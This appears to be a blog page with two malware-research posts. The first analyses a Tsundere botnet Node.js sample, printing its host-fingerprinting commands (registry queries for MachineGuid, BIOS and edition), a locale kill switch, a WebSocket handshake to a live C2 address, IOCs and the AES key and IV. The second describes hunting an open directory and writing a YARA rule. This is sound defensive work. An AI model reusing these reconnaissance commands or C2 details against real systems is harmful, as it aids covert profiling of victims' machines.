When I execute the JS binary in cmd.exe:
Press enter or click to view image in full size
We see it making connections to RPC at multiple different Ethereum Wallet Endpoints. It also gathers host enumeration details as defined earlier in the code review.
The Process Tree:
Press enter or click to view image in full size
Process Tree Breakdown
node.exe (8072)
├── “C:\Program Files\nodejs\node.exe” …16e0dbcc6670e7722f68620b6f305e2c4433ed6f7b25174a75480ed5c4b4fe42.js
│
├── cmd.exe (3812) → powershell.exe “[System.Globalization.CultureInfo]::InstalledUICulture.Name”
│ └── [CIS LOCALE CHECK — Kill Switch]
│
├── cmd.exe (7164) → powershell.exe “Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name”
│ └── [GPU FINGERPRINTING]
│
├── cmd.exe (7252) → reg query “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion” /v ProductName
│ └── [WINDOWS EDITION]
│
├── reg.exe (4356) → reg query “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion” /v ProductName
│ └── [WINDOWS EDITION — direct call]
│
├── cmd.exe (4440) → cmd.exe /d /s /c “vol”
│ └── [VOLUME SERIAL NUMBER]
│
├── cmd.exe (7008) → reg query “HKLM\HARDWARE\DESCRIPTION\System\BIOS”
│ └── [BIOS FINGERPRINTING]
│
├── reg.exe (8068) → reg query “HKLM\HARDWARE\DESCRIPTION\System\BIOS”
│ └── [BIOS — direct call]
│
├── cmd.exe (832) → reg query “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid
│ └── [SYSTEM UUID — Unique identifier]
│
├── reg.exe (7432) → reg query “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid
│ └── [SYSTEM UUID — direct call]
│
├── cmd.exe (1496) → powershell.exe “[System.Globalization.CultureInfo]::InstalledUICulture.Name”
│ └── [SECOND LOCALE CHECK — possibly in reconnect loop]
│
└── powershell.exe (4) → “[System.Globalization.CultureInfo]::InstalledUICulture.Name”
└── [THIRD LOCALE CHECK]
DNS Query to one of the Ethereum Wallet Endpoints
DNS Query to a second Ethereum Wallet Endpoint
Shodan
Example of the Websocket Handshake Get Request:
CLIENT REQUEST:
— — — — — — — -
GET / HTTP/1.1
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: gcG7wVAmx5B2IhtwTdv9WQ==
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Host: 193.24.123.68:3011
Traffic Flow Summary:
13808 551.95 →C2 227 WebSocket handshake request
13815 552.12 ←C2 129 101 Switching Protocols
13816 552.12 ←C2 34 AES-256 Key (binary)
13818 552.13 →C2 6 ACK
13822 552.29 ←C2 18 AES IV (binary)
13923 553.41 →C2 520 Encrypted victim fingerprint
13997 553.63 ←C2 50 Encrypted ack: “Connected”
IOCs
Network:
193.24.123.68:3011 (WebSocket C2)
rpc.flashbots.net (Ethereum RPC)
rpc.mevblocker.io (Ethereum RPC)
eth.llamarpc.com (Ethereum RPC)
eth.merkle.io (Ethereum RPC)
eth.drpc.org (Ethereum RPC)
Also, these are all new IOC’s compared to the Kaspersky report:
Encryption
AES Key: e5f4e1b5d1065b0ecd6b3ef972d451e1c63ecd8da4d73b82cf429d70d13d166f
AES IV: 4e3d21a0941bb92632c4997fd4a582b1
Thank you! Critque welcome and appreciated!
August Vansickle
Twitter: @LunchM0n3ey9090
Linkedin: August Vansickle | LinkedIn
References:
The Tsundere botnet uses the Ethereum blockchain to infect its targets | Securelist
100 Days of Yara - Day 15 2025
It all begins with an idea.
Day 15
#100DaysOfYara Day 15
So today, I went hunting on my own through open dir’s to find some spicy binaries.
Heres a resource to learn about open dir hunting using censysy: https://censys.com/a-beginners-guide-to-hunting-open-directories/
The one I looted from, I grabbed a file called excel-https.exe. Part of the reason that interested me, is that file naming convention is typical of C2 implants, esp for ex, Cobalt Strike.
The binary was a PE32, had a lot of socket calls, and functionality, it had metadata that indicated it was an Apache tool used for load testing — ApacheBench: https://censys.com/a-beginners-guide-to-hunting-open-directories/
So I almost gave up, but there were calls for retrieving process ID’s, getting handles on processes, etc and Apache Bench is only testing web apps for load.
and, there was a hardcoded IP, which I visited and is the open dir I found in the first place.
So heres my Rule:
https://github.com/augustvansickle/2025_100DaysofYara/blob/76aaaa87796ef90fc5b3b8dba665c6b539a9d68e/Day15_OpenDir_HTTP_Beacon_PE.yar